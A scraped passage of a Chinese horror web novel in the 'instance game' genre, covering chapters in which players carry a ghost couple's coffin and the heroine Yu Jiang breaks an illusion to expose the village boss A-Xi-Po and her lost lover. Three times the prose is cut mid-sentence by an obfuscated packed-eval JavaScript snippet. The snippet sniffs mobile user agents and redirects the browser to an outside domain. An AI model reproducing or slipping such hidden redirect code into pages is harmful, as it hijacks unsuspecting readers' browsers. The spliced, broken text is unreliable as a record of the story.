恍然间,锈迹斑斑的车顶变得模糊,在虞绛眼中染上了墨一般的黑色,而那脆弱的铁皮也渐变成了厚重的木板。 “怎么回事!”虞绛惊呼一声。 但车上的乘客一脸平静,司机也不慌不忙,等到车顶的动静消失后,才重新启动了引擎。 然而,车子刚启动,虞绛就感觉到座位突然一沉,座椅下方失去了支撑般塌陷了下去。 她急忙拉开窗户,朝车后方望去,只见左后侧的轮胎已经脱落,正借着惯性孤零零地在山路上滚动。 “停下!车胎爆了!”虞绛大声喊道。在山路上爆胎十分危险,应当马上停车换备胎,但车上的人依然没有反应。 与此同时,她注意到车顶上的落石……不,是那蜘蛛模样的阴影,像个活物一般移动了起来。 “哒哒哒……”那巨大的阴影每在车顶上移动一步,脆弱的铁皮便被踩下一个凹坑。 尽管车顶上有不明生物,车子也只剩下三个轮胎,司机却依旧没有停下,反而加速行驶在崎岖的山路上。 “停下!太危险了!放我们下去!”虞绛透过窗户,看到车身紧贴着山路边缘,崖壁和车身堪堪擦过。车子摇晃得像拄着拐杖的老人,随时可能跌入万丈深渊。 虞绛觉得现在的处境极其不对劲,她下定决心朝后车门冲去,打算拔下安全锤,砸破车门逃生。 然而,当她伸手去拿安全锤时,一只强有力的手紧紧抓住了她的手腕。 她转头一看,竟然是六婶。此时,车上的其他乘客也都站了起来,目光凝聚在她身上,表情愈发不善。 “别下车,外面不安全。”六婶的声音沉稳而坚定,眼神中透露着一种不容反驳的威胁。 “耐心等一下,很快就到村里了。” 可在六婶和其他乘客的目光只让虞绛觉得瘆人,此时车顶又一次传来剧烈的撞击声,凹坑又加深了。 趁着车身剧烈一晃,虞绛攥紧了手中的安全锤,毫不犹豫地转身向车门砸去。下一秒,透明车门上突然映出了她的身影,她手中的动作猛然一顿。 门上倒影出一个陌生的身影,那是一个年轻、温婉、含情脉脉的女人,眉宇间透着几分楚楚可怜的气质。 那……是她自己吗? 就在这时,六婶大力一扯,将她从车门旁硬生生拉了回来,牢牢禁锢住了她的手臂。 周围的几名中年男人也走近了,以高高在上的姿态,把她死死按回座位上。 虞绛的脑袋一片混乱,她愣愣地回想着: 门上的倒影是谁?我是谁?阿鹂又是谁? “她是我家亲戚,脑袋不正常,估计得了癔症。”恍惚间,她听见六婶这么跟身边的乘客说道。 “癔症?俗称不就是疯了吗?”周围的男人发出一阵哄笑,目光在虞绛身上游走,露出不怀好意的神色。 车顶又一次传来“咚咚咚”的声响。虞绛的脑子一团乱麻,她对其他人的谈话没有反应,却固执地抬头望向车顶。 布满凹坑的铁皮与墨黑的厚重木板不断重叠交错,她看着看着,忽然觉得车顶不像是车顶了,更像是一块齐整的棺材盖。 她忽然生出一个怪异而坚定的念头。 她想把它掀开。 32. 荒村婚宴宾客须知(十四) 夜幕降临不久,一支送葬队伍悄然从祠堂启程,缓缓朝后山行进。 队伍最前方是阿喜婆和唢呐陈,但不同于接亲时候的锣鼓喧天,这次他们一人手持香火、一个提着灯笼,沉默不语地引路前行。 紧随其后的是四名玩家,他们正分立在棺材四角,摇摇晃晃地将一口双人棺材抬离地面。 “我怎么觉得这棺材重得不正常……”刘茵茵吃力地支着棺角,低声抱怨。 周祺对此倒不意外,他还记得白天背新郎走这段路时,背上的重量也是逐渐加码,直到差点压断他的腰。 想到这里,他低声提醒:“这一路棺材应该会越来越重,甚至可能有其他异动,大家撑住!” 十几分钟前,当夜色刚刚降临时,他们如约抵达祠堂门前。阿喜婆也准时打开大门,宣布了第三天的洞房夜的流程。 因众人吞下了犀角香灰,沾染了亡者的死气,需要承担为新人抬棺的责任。四人需要将躺着新郎新娘的棺材送往后山,完好地放入指定的合葬地,棺落黄土才算礼成。 流程看似简单,然而沈百希却眼尖地在棺底发现了一行细小血字: “8.喜棺抬起后,至下土为止,务必保持棺底不落地,盖板不挪移。” 众人看着这条规则,虽隐约察觉了送棺之路必然不太平,但也不由得暗暗庆幸,整个副本只剩下了最后一程。很快,他们就能通关出去了! 于是四人稳稳抬起棺材,向后山进发。其中最惨的是陆骁,除了分担了1/4的重量,还被刘茵茵硬塞了块来路不明的破旧牌匾。 那牌匾被一块破布随意裹了一圈,厚重得压得他直不起腰,只能苦哈哈地强撑着前进。 起初,从祠堂走出来时,两侧的村屋还挂着明亮的白色灯笼,灯光堪堪照亮脚下的路。可一旦走到村屋尽头,前方却只剩一片漆黑的田间小径。 那条小路蜿蜒曲折、坑洼不平,脚下稍有不慎,便容易踩空。 这时,走在左前方的沈百希立即从她那个装得下整个百宝库的口袋里掏出一只手电筒,咬在嘴里打开,勉强照亮了前方一小段路。 然而,就在右后方的陆骁经过最后一间亮着灯的村屋时,他的余光忽然扫到了一道黑影。他猛地定睛一看,只见棺材右后角的缝隙下,竟垂下来一缕乌黑的长发。 他第一反应:难道是新娘的头发,从棺材缝里漏了出来? 可下一秒,他便看清楚了那缝隙后面,赫然是一双倒悬着的眼睛! 陆骁浑身一僵,背后瞬间冒出一层冷汗,忍不住轻呼了一声。 那是一个倒挂在棺材底下的女人!她的长发如瀑般垂落,整个人仰着脸,惨白的皮肤在夜色中泛着寒光,死死地盯着陆骁。 “怎么了?”周祺察觉异样,立刻出声询问。 陆骁还来不及回答,下一秒就被那倒挂着的女人一脚猛踹下巴!他吃痛之下握不稳肩上的棺材杆,整个人向后踉跄,连同背着的牌匾一同摔倒在后方泥泞的地上。 “棺材歪了!”沈百希还没搞清楚发生了什么,只感觉肩上的重力猛地倾斜,右后方突然一沉。 她急忙回头,却看到一个体型硕大的女人不知从哪里翻到了棺材盖上。 她穿着宽大的红色喜袍,上半身看着瘦弱娇小,然而下半身却怪异地伸出了八条细长的黑足,像个蜘蛛一样死死扒在棺材盖上。 那几条腿根根如铁,在棺材盖上移动时发出“哒哒哒”的撞击声,似要将棺材板砸穿。 “稳住,别让棺材翻了!”周祺喊了一声,立刻伸手撑住倾斜的一角,替陆骁分担了失去的重量,这才堪堪稳住了棺材的平衡。 “是她,原来的那个新娘!”刘茵茵惊呼出声,认出了棺材上的怪异身影。 之前虞绛追丢了的新娘,最后正是逃进了祠堂,彻失去了踪影。没想到她竟一直藏在新人的棺材底下,趁送亲队伍出发时悄悄跟了出来。 刘茵茵还记得新娘迎亲的规则,没有穿上婚鞋的新娘不能下地。难怪她会攀在棺材上,随着队伍离开村屋的范围。 可她要去哪里? 刘茵茵脑中飞速思索着,然而那新娘却猛然对上了她的眼睛,沈茵茵一激灵,心里闪过一丝不详的预感。 “哒哒!”怪异的新娘重重跺了两脚,像野兽锁定了猎物般猛地跃起。整个棺材被踏得剧烈一震,压得右侧几乎坍塌! 不好,这怪物的目标是自己!不会又是那该死的“百分百撞鬼”天赋吧?! 刘茵茵欲哭无泪,眼见八条腿的怪物向自己猛冲过来,却又顾忌抬棺的规则,不敢放手又无法闪躲,肩上的担子摇摇欲坠。 “不行,要是刘茵茵也被击倒,整个棺材就要彻底侧翻了”周祺咬了咬牙,他和沈百希都在棺材左侧,从站位上就无法分担重量、保持平衡。 他瞥了一眼棺材正中心,心中打鼓:那枚暗棋,是时候明牌了吧? 转眼间,八脚新娘已经跃至棺材上方,锋利的脚爪直直对准了刘茵茵的脑袋。 可突然间,只听“砰”地一声,棺材盖从后方被猛然掀开,带着一股巨力狠狠撞上新娘背部! 八脚新娘被这力量踹飞,狠狠摔在队伍前方的小路上,厚重的棺材板也迎头砸下,压得她起不了身。 刘茵茵敏捷地躲过了飞出来的棺材板,心如擂鼓地后头看去。只见棺材中,有人直挺挺地坐起身来,露出一张熟悉的脸,不是虞绛又是谁? 但她的状态不对劲,那双漆黑的眸子像染了墨,没有一丝焦距,目光死死锁在前方倒地的新娘身上。 身旁的鬼新郎似想按住她,伸手压在她肩上试图让她躺回去。可虞绛却反手握住他的手腕,用力一捏,逼得对方脱力松开。 随即,她毫不犹豫跳出棺材,落在新娘面前。 一直小心翼翼不让自己沾地的新娘,如今狼狈倒在泥泞中,八条腿一触地就像被抽去了生气,无力得无法支撑她站起来。 虞绛缓步走近,而变异新娘挣扎着推开棺材板,眼里闪过一丝怒意与耻辱,狼狈地用上半身蹭着泥地往后退。 “你朋友……陷入了混乱。”周祺皱眉,推了推眼镜。 刘茵茵大惊:“什么意思?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15547553|171210||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在棺材盖飞出去后,显然他们已经违反了宾客须知,刘茵茵神经紧绷地提防着任何可能的异动。 “她的眼睛像是在梦游。”周祺若有所思地看着虞绛血红色的背影。 虞绛轻而易举地追上了那无力逃窜的新娘,可当四目相对的一瞬间,她却仿佛神魂被勾住,整个人愣在了原地。 下一秒,那倒在地上、瑟缩不前的新娘一改姿态,宛如游魂般猝然欺身而上,反手紧紧搂住了虞绛的腰。 虞绛瞳孔微缩,她的视野与众人不同。就在刚才,她还身处驶往南山村的大客车上。 虞绛挣脱了六婶和周围乘客的束缚,一脚踩上最后一排的座椅,毫不犹豫地扑向那被未知生物踩踏得坑坑洼洼的车顶。 她不知哪来的蛮劲,竟硬生生掀起了车顶的一角。那层铁皮猛地从后座翘起,连带着那不明活物被她一脚踹出,跌落在车前的山路上。 那司机一反常态的踩下了刹车,虞绛从掀开的车顶翻了出去,一步步朝那随车顶跌落的影子走去。 砸在地上的,不是巨大的黑影或蜘蛛形怪物,车顶铁皮碎片下露出了一双女人的腿。 “你是谁?”虞绛开口问。 女人艰难地推开压在身上的铁皮,她衣衫破碎、满身尘土,抬头看了她一眼。 只是这一眼,虞绛却陡然怔住。 这张脸,与她方才透过透明车门所看到的身影一模一样。 五官算不上惊艳,却温婉柔和,眉眼间透着几分楚楚可怜的柔弱气质。 “你是谁?”她又问了一遍,却无法抑制脑海中浮现出的那个名字—— 她是阿鹂。 就在这时,地上的女人似乎下定了某种决心,忽然反身抱住了她的腰,神情中带着近乎绝望的哀求与执念。 “快逃!别进村!原路折返,逃出这座山!”她的声音沙哑无力,但字字泣血、直击人心。 “刘锦舟是骗子!这个村子……吃人!”女人眼中浮现出怒火与痛恨,望向虞绛的眼神带着绝望的渴求。 虞绛的脑海一阵混乱,她突然分不清自己是谁,从哪里来,又该去向哪里。 于是她执拗地重复了那个问题:“你到底是谁?” “我是阿鹂,我是你。”女人轻声低语,悄然将手臂缠上她的肩,眼神死死锁住她,“所以你要逃,代我逃出去。” 你是我? 在这句低语中,虞绛心中所有的抗拒与疑问仿佛都被压了下去几乎要沉溺在女人破碎的目光里。 可就在此刻,平静的黄昏天幕骤然轰响,一道闪电劈空而落,像是长了眼睛似的笔直朝她劈来! 缠附在她身上的身影被雷光吓退,猛地一松。电击的痛楚瞬间撕裂了虞绛的神经,她的意识剧烈震荡,却也因此彻底清醒。 她想起了一切:“我是虞绛。” 电光如潮,一道接一道劈下,虞绛踉跄着脱离那女人的束缚,转身朝那辆停在原地的大客车冲去。 隔着挡风玻璃,她的目光笔直锁定客车驾驶座,那位司机身形瘦小,包裹得严严实实,正与她对望了过来。 33. 荒村婚宴宾客须知(十五) 平静的夜空陡然降下一道闪电,精准击中了虞绛的胸口与肩头。 刘茵茵心头一紧,猛然回头时果然见到陆骁呆愣地跌坐在后方,背上的牌匾早已与虞绛拉开了超过百米的距离,刚才的闪电正是系统的惩罚。 “陆骁!快过来!”刘茵茵高声喊道。 陆骁这才回过神,还以为她是让他来撑棺材,连忙冲回棺材右后角,扛起了缺失的担子。 而周祺和沈百希的注意力却在另一点上,只见虞绛的左胸被闪电击中,生生灼烧出了一个孔洞,却没有一滴鲜血流出。 那孔洞边缘是一圈焦黑的蜡迹,融化的白色蜡液顺着创口缓缓流下。 沈百希真切感受到了所谓“蜡像化”特殊天赋的厉害,蠢蠢欲动地向周祺提议:“这种天赋岂不是不死之身?这样的人才要不也招揽进我们小队?” 周祺没有回答,他的目光落在敞开的棺木。原本安分躺下的鬼新郎,随着虞绛的跃出也缓缓坐直了身子,一瞬不瞬地盯着那道遭受着连续电击的身影。 虞绛胸口被硬生生轰出四五个孔洞,但闪电没有击倒她,反倒将缠在她身上的变异新娘震退。 她像射击场里的人形箭靶一般,顶着千疮百孔的身体,和汩汩流出的白色蜡液,猛然转身直扑冷眼旁观的阿喜婆。 虞绛疾速逼近,但那八脚新娘也迅速稳住身形,旋即以更快的速度追来。在虞绛距离阿喜婆仅剩一步之遥时,她伸手一把扼住阿喜婆的喉咙,却在下一秒被身后新娘吐出的丝线死死缠住四肢。 “棺盖移位,新娘离棺,第三晚的洞房夜终止。”阿喜婆先发制人地开口,浑浊的双眼盯住虞绛。 她轻轻弹落手中香炷上的灰烬,阴恻恻地笑道:“你的朋友们已经失去了宾客身份,无法再重选替补新娘继续完成洞房夜的流程。游戏失败,你们一个都别想出去。” 虞绛身上束缚着的蛛丝骤然一紧,那变异新娘吐出的丝细如利刃,嵌进虞绛的皮肤里就像刀刃划开了蜡层。 与此同时,周围传来窸窸窣窣的声音,漆黑的草丛里逐渐钻出十几道佝偻的身影,无声地朝着虞绛靠近。 这是那些吃了村民后半人半鬼的干尸,他们的身体更壮实,眼神则愈发饥渴,甚至也没有了游戏里的行动限制。 可虞绛还沉浸在大客车的幻觉中,在她的眼里没有干尸,也没有切进身体的锋利丝线。 在她的眼中,自己徒手砸碎了客车的挡风玻璃,探身摘下司机的口罩,露出了阿喜婆那张饱经风霜、沟壑纵横的脸。 尽管马上被身后的阿鹂紧紧抱住,不让她再进一步,但这并不影响虞绛仔细端详阿喜婆的面容。 满车的乘客也齐齐包围着虞绛,目光满是不善。 这些乘客都是南山村人,男人们撸起袖子,猥琐地摩拳擦掌,准备一拥而上将她制服。 六婶眼神交织着疯狂和怨毒,原本和善的面容也变得狰狞。所有人仿佛要将她生吞活剥。 阿鹂牢牢锢住虞绛的腰,凑到她耳边细声低语: “等你真进了村,就死定了。南山村的人只要作恶,就会空前团结。他们可以像折磨牲畜一样对待你,甚至威胁要挖掉你的眼睛和耳朵,说那样你才会温顺听话。” “你也逃不掉的。家家户户都点着灯笼,每个人都睁大了眼,一旦有人发现你逃跑,全村就会倾巢而出。” “接下来,他们会打断你的腿,让你吃喝拉撒都困在床上,连动都不能动。等他们一个个发泄完了,你就会变成一摊被玩腻的死肉,再被活埋进那棵梨花树下,就当做和死人成婚了。” 阿鹂的语调轻柔,却带着绝望的恨意,仿佛这样的噩梦自己亲身经历过一遭。 忽然,阿鹂话锋一转,温柔得令人心惊:“害怕吗?如果不想那样死,我可以帮你逃跑。” “你怎么不自己跑?”虞绛反问,眼睛却仍直直盯着前方,凝视那张与阿喜婆几乎一模一样的司机面孔。 “我试过了……”阿鹂的呢喃像风一样掠过她的后颈,“可我的力量不够,冲不出那些长满眼睛的屋子。我帮你逃,其实也是帮我自己。” “那你想怎么帮?”虞绛声音低沉。 阿鹂将头轻轻搁在她肩上,歪着脑袋望着她,笑容甜得发冷:“嘻嘻嘻……把你的身体和力量给我,我们就能一起逃出去。” 虞绛看着那张年轻温婉的脸从她肩头探出,在阴影中显得愈发阴森。可她迟缓却惊讶地从那眉眼轮廓中分辨出,这张脸和阿喜婆极其相似! 只是后者的面容被时间与皱纹覆盖,掩埋了年轻时的骨相。 一个几乎荒谬的猜想浮现在虞绛心头。然而,她并未因这念头停滞,反而迅速摸出早前从沈百希口袋中顺手牵走的打火机。 刚才的几次电击虽然灼痛,但也唤醒了她的意识,并成功逼退了身后的“阿鹂”,这倒是给她带来了灵感。 虞绛将打火机在手中直接捏爆,火舌瞬间窜起,引发一声爆鸣。她打算直接炸了这辆车,哪怕引火烧身。 此时,若从玩家的角度看去,只见虞绛背后的八脚新娘低语咕哝了几句,似是接收到了某种命令,旋即从头顶一分为二,仿佛脱下一层衣物般剥下了头发和人皮,露出一个黑洞洞、闪烁着寒光的蜘蛛真身。 原来,变异的新娘其实是一只披着人皮的蜘蛛。 它毫不留恋地抛弃那层伪装,张开螯肢直扑虞绛。而虞绛早已被蛛丝严密束缚,仿佛案板上的肉,只待被剥皮噬肉。 “太好了。”蜘蛛甚至暗中欣喜,“这个女人的身体很强大,这次我一定能抗住一切限制,逃出这个该死的村子!” 可就在尖锐螯肢即将落到虞绛头顶的一瞬,一声爆响骤然炸裂,火光乍现!虞绛的右手被火焰吞没,她身后的蜘蛛与面前的阿喜婆也被火舌舔上。 眼前景象如碎玻璃般炸开,客车 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15547554|171210||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 、乘客、车窗化为片片飞灰。熊熊燃烧的右手几乎蔓延至全身,她被挟持在两难之间—— 身后是疯狂扑击的蜘蛛怪,眼前是狡猾老辣的阿喜婆,时间已经不够了。 “嘶——!”蜘蛛吐出的丝线被火光灼成灰烬,前肢冒烟地往后缩。这是游戏商城兑换的打火机,确实能对副本NPC造成伤害。 相较之下,阿喜婆虽然右半边身体也燃起了火,却丝毫不显慌乱,语气甚至带着戏谑:“你是打算同归于尽?” 她周身的气势骤然暴涨,不再保留地释放出强大的威压。与此同时,那些本该是乘客的干尸仿佛收到命令般,朝虞绛的方向蜂拥而上。 “你果然是这个副本的Boss。”虞绛先前的猜测得到了证实,然而她还有另一个猜想,“对吧,阿鹂?” 阿喜婆闻言神色一僵,气息出现了刹那的不稳。可她并没有多言,只是咬牙决心要将虞绛灭口。 可虞绛却瞬间改变方向,朝右侧冲去,目标直指场上一直被众人忽视的角色——唢呐陈。 阿喜婆不再受流程规则束缚,立刻扑了上来。她的速度与力量远胜人皮蜘蛛,哪怕右半身仍在燃烧,依旧凶狠无比,仿佛下一刻就要将虞绛撕成碎片。 她打算将虞绛的皮剥下,给蜘蛛怪作为下一轮营业的“新皮肤”,而□□则可以滋养其他干尸。 “小心!”刘茵茵惊呼,一时间不知道该不该将棺材撒开,前去救援虞绛。 就在此刻,刘茵茵肩头的重量骤然一轻,只见棺木中鬼新郎倏然跃出,轻踏棺木边缘,借力朝阿喜婆的背影俯冲而去! 鬼新郎现身的瞬间,一股浓烈的犀角香气扩散开来,周围的干尸忽然一滞,纷纷僵立在原地,停止了进攻。 阿喜婆眉头微蹙,但并没有停下攻势。当她和虞绛只剩一步之遥,阿喜婆眼角一瞥,与虞绛锁定的唢呐陈视线交错。 那个脸上有疤、毫无存在感的中年男人,他不像其他村民那样容易疯癫失控,更适合用来引导剧情流程。除了这些,她从未真正注意过这个人。 她不明白虞绛为何盯上这个不起眼的NPC,而唢呐陈也如往常一样面无表情,对马上降临的危险也毫无反应。 可当虞绛那裹着烈焰的手即将伸向唢呐陈的心脏时,他突然若有所思地抬起头,看了阿喜婆一眼。 那双如墨般深邃的瞳孔中,情绪复杂难明。 阿喜婆的心跳漏了一拍,她第一次觉得,如果忽略这张脸上的伤疤和污垢,眉眼竟有几分熟悉。 甚至,与十年前那个不告而别、硬将她骗上通往南山村客车的骗子,极其相似! 下一刻,唢呐陈的瞳孔猛地收缩,死水般的脸色裂开,他慌乱地吐出两个字: “小心!” 阿喜婆刚才那一瞬晃神,拖慢了反应速度。等她透过唢呐陈的瞳孔,看见那逐渐逼近的红色倒影时,一抹刀风已扑面而至。 34. 荒村婚宴宾客须知(完) 噗呲—— 带着刀风的异响从身后传来。 身着红色喜服的鬼新郎不知何时悄然逼近,出现在阿喜婆的背后。两人之间,那只被火烧断数根虫肢的大蜘蛛横倒在地,腹部插着一柄奇怪的匕首,正汩汩流出黑色粘液。 刚才,鬼新郎的一击本是直指阿喜婆胸口,却被蜘蛛奋力扑上、以身挡下。 “你竟敢攻击我?!”阿喜婆震怒交加,怒极反笑,“呵,果然是男人!即便是我亲手调教的NPC里随机选出来的新郎演员,也是个背信弃义的货色!” 她怒目扫向一旁早被按下暂停键的干尸群,一边暗恼于无人护驾,一边却莫名生出一丝怪异的不安。 游戏明明已经结束,她也早该【出戏】。 可奇怪的是,以往每轮副本营业,从未发生过干尸与新郎NPC集体脱轨的情况。而眼前这个新郎,难道早做好了造反的准备,打算趁乱吞噬自己? 等等……阿喜婆死死盯着眼前鬼新郎的五官,却越看越心惊。 奇了怪,她怎么不记得这个副本的干尸NPC里有这么一个人? 无论是气场还是长相都全然陌生,但更可怕的是,在副本营业期间她居然从未对这人的身份起疑?! 正在阿喜婆惊疑不定的时候,地上那只中刀的蜘蛛忽然挣扎着动了动,残破的肢体艰难地搭上她的脚踝。 “主人,这匕首……有问题,我……恐怕没法重置了。”气若游丝的声音,从蜘蛛腹部幽幽传来。 按照《副本Boss行为守则》,副本NPC唯有遭受来自外来NPC的攻击才会真正死亡,同一副本的NPC无论打斗得如何惨烈,也都会在营业结束时一键重置。 “你究竟是什么人!”阿喜婆惊愕之下,盯着鬼新郎厉声追问。 只见鬼新郎慢条斯理地从蜘蛛身上拔出匕首,插回手中一个粗短圆柱体的柄中。那匕首无论样式还是质感,都显然不是这个副本原有的道具。 “我是这场婚礼的新郎,刘锦舟。”鬼新郎心不在焉地回答,笑意不达眼底。 阿喜婆闻言却冷笑一声:“呸!少拿副本设定糊弄我,刘锦舟?哈哈哈哈……真正的刘锦舟——那该下地狱、千刀万剐的骗子,早就不见踪影了!” “这个婚宴副本广撒请柬,就是为了诱捕天下的负心汉与蠢女人。可笑的是,这世上最可恨的那个负心汉,到现在也没找到!” “没找到?”虞绛的声音冷不丁地从她身后响起,“那你看看这是谁。” 阿喜婆闻言,陡然想起刚才从唢呐陈身上洞察到的熟悉感,有些心惊地转过头来。 只见虞绛半个身子还在燃烧,她左手死死钳住唢呐陈的肩头,右手扭住他脖子,将那人按到她面前,男人的面孔在眼前瞬间放大。 “像不像你苦苦追寻那么久的负心汉?”虞绛好奇追问。 而尽管唢呐陈的左肩被烈焰灼烧,衣服也烧得焦黑。可他在阿喜婆凑近的一瞬,却像触电一般仓皇别开头,死死咬紧嘴唇,不敢出声。 “他?”阿喜婆怔愣在原地,但她试图否认这股扑面而来的强烈熟悉感,不可置信地摇头。 “不可能,那个骗子最爱装模做样。整天打扮得衣冠楚楚,老爱梗着脖子,还有洁癖,拿手的乐器也明明是萨克斯,怎么可能是这个……” 怎么可能是这个姿态佝偻、不修边幅,只会吹唢呐的中年男人? 唢呐陈偏过头去,脸上有一丝难堪。 “怎么不可能?”虞绛立即反驳,“你痛恨刘锦舟将你拐骗回南山村,造就了后面的悲剧。可冤有头债有主,你却偏偏选择诱捕无辜男女,吸食她们的身体,困死她们的灵魂。” 虞绛身上的火焰已蔓延至右半张脸,她却不露痛苦之色,仅剩的左眼死死盯着阿喜婆。 “如今真正仇人在前,你却不敢认?” 阿喜婆神色悲凉又冷漠:“无辜?谁比我更无辜?你随便拉个小角色来骗我,怕不是想转移我的仇恨,好让我放你们一马?” “说不通,就别怪我不客气了。”话音刚落,虞绛的左手也即将被火焰吞没。可她却趁着左腿尚能支撑,拼尽最后的力气,朝阿喜婆挥出一记拳。 对于虞绛狼狈又倔强的最后挣扎,阿喜婆报以轻蔑冷笑。 “你倒是我第一次抓到的外来副本Boss,原本打算把你拖入幻境彻底同化,没想到你竟然反手炸毁了幻境。” “都快烧成灰了还想拉我同归于尽?呵,自不量力。” 话音落下,阿喜婆眼神癫狂,再无耐性地仰天长啸: “你们,一个都跑不掉!” 紧接着,像是终于下定了决心似的,阿喜婆猛地一握虚空,仿佛撕开了空气。几乎同时,不远处村屋聚落中传来一阵整齐的玻璃破裂声,仿佛斩断了玩家们紧绷的神经。 “灯灭人死!你们都乖乖变成副本里的干尸吧!” 她并不闪避虞绛的攻击,反正这具快死掉的身体根本来不及碰到自己。 果然,在话刚落音的刹那,朝着自己扑来的身影果然烧干了最后一滴蜡液,火焰“呲”的一声熄灭,空中掉落了几粒火星子。 虞绛,被烧得干干净净。 阿喜婆嘴角扬起,目光扫过不堪掩面的唢呐陈,如她无数次刻意的视而不见那样。她回头,准备收割剩下玩家的残躯。 然而此时,一道懒洋洋的声音忽然响起。 “喂,火候差不多了。” “你在跟谁说话?”阿喜婆眉头微蹙。她差点忘了,灭掉玩家的灯笼,可杀不掉这个奇怪的NPC。 等等……玩家呢? 前方的棺材敞口倒在地上,棺材板横在一侧,本应随蜡烛熄灭而死的四位抬棺玩家,此刻却不见踪影。 不详的预感如惊雷滚过心头,她还未来得及回神,一股阴森诡谲的气息骤然从身后袭来。 下一秒,阿喜婆整个人被狠狠束缚住,如同坠入无边无际的浓稠泥潭,无法挣脱、无法动弹。 “他在跟我说话。”冰冷如同鬼魅的女声从身后响起。 阿喜婆低头,终于看清那裹住她的是比蛛网更致密的蜡油。 是虞绛!那个原本应被烧成灰的蜡像人Boss! “你?!怎么会!你不是引爆了自己,最后烧得一干二净了吗!”阿喜婆声音陡然尖锐,不可置信。 她亲眼看到虞绛焚烧殆尽,做不得假。更何况,在荒村副本的压制和同化下,对方早就无法自由动用蜡像化能力,现在又是如何做到将身体化作蜡制的牢笼? “没有哦,那位虞小姐可没拿我的打火机,也没引爆自焚。”沈百希的声音在空中悠悠响起,偏偏不见人影。 “又是谁在说话!”阿喜婆几近崩溃,这是她从业以来第一次遭遇如此不可理喻的景象。 蜡液从虞绛身上蔓延而出,禁锢住她的身躯,正一点点攀上她的脖颈。不出片刻,她便将被蜡油封住全身每一寸肌肤。 就在死亡的倒计时即将归零时,一阵乐声突兀地从她身后响起。 那是唢呐的声音,凄厉而哀切,却并非副本中用于迎亲的曲调。这陌生而又隐隐熟悉的旋律,如冷风穿脑,竟令阿喜婆骤然清醒。 眼前浓重的幻雾仿佛被什么拨开,迷瘴褪去一半,失踪的玩家也一一显现。他们正站在鬼新郎身后,神情从容。而远处村屋屋檐下的灯火仍在闪烁,并未如她以为那般被自己熄灭。 唯一未曾改变的,是紧紧包裹住她的蜡液,来自身后安然无恙的虞绛。 而自己,即将被这名外来的低级副本Boss吞噬。 “原来,陷入幻境的是我,陷入【混乱】的……也是我。”阿喜婆后知后觉地反应过来,喃喃出声。 但她没有力气愤怒,所有注意力都被那唢呐声牵引,身体止不住地颤抖。 “你……你怎么会吹《梨花落》?那明明是……那个人为我谱的曲子。” 虞绛顿了顿,蜡液已将阿喜婆脖颈以下尽数封冻。听见这话,她不禁停下了吞噬的节奏,学着幻境中阿鹂的模样,歪着脑袋靠近阿喜婆的肩头,轻声说: “都跟你说了,他是刘锦舟啊。” 阿喜婆全身一震,像是被什么定住了。 “对不起……阿鹂。”唢呐陈停下演奏,艰涩开口:“是我。” “刘、锦、舟!”她咬牙切齿地吐出这个名字,记忆深处被尘封的爱与恨瞬间翻涌。 “你竟敢回来!你竟敢潜伏在我身边这么多年!” 唢呐陈抬起头来,多年未敢直视的那张脸,此刻终于在眼前。他张了张嘴,有太多话想说,却数次欲言又止,最终才艰难地开口: “对不起。如果我说,我当年并不知道这些村民的嘴脸,那天也不是有意在车站丢下你……你会相信吗?” 阿喜婆冷笑不语,她早就不是那个轻信情话的少女了。 “我那晚回家才得知,我妈重病卧床多日,也因治病欠了村里一大笔债。那些混蛋便以母债子偿为由,抓走了刚进村的你。等我知道这一切的时候,他们却告诉我你已经‘不在’了。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15547555|171210||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “我不信,威胁他们说要报警。可一听到‘报警’两个字,所有人都冲上来,把我摁在地上……还用我妈的命威胁我。” “闭嘴!你说谎!”阿喜婆打断了他,双目猩红。 “当然,说再多都是借口,是我毁了你的大好人生。”唢呐陈低声道,“所以,当我发现南山村即将演化为副本的时候,我立刻隐姓埋名回到了你身边,我想尽我所能偿还对你的亏欠。” 阿喜婆怔怔地望着她,久久没有回应。看着她失魂落魄的样子,虞绛也忍不住动容,收回了包裹阿喜婆的厚重蜡液,缓缓恢复了人形。 “阿绛,你当初可不是这么答应我的。”鬼新郎倚在棺材边上,语气轻佻,“说好的直接吞噬掉副本Boss呢?心软可是游戏的大忌。” 虞绛飞了他一眼:“你管我?” 她顿了顿,又道:“而且,我觉得我们对副本Boss的判断……可能太草率了。” 她回想起包裹住阿喜婆的感觉,虽然能感受到超出其他NPC的威压,但并没有嗅到可被吞噬的Boss气息。 哦?鬼新郎意外地挑了挑眉,锁定了满目悲切的唢呐陈。 唢呐陈深深看了一眼阿喜婆,随即对着虞绛正色道:“你们的幻境的确骗过了我,我一度真以为你被烧得灰飞烟灭了。” 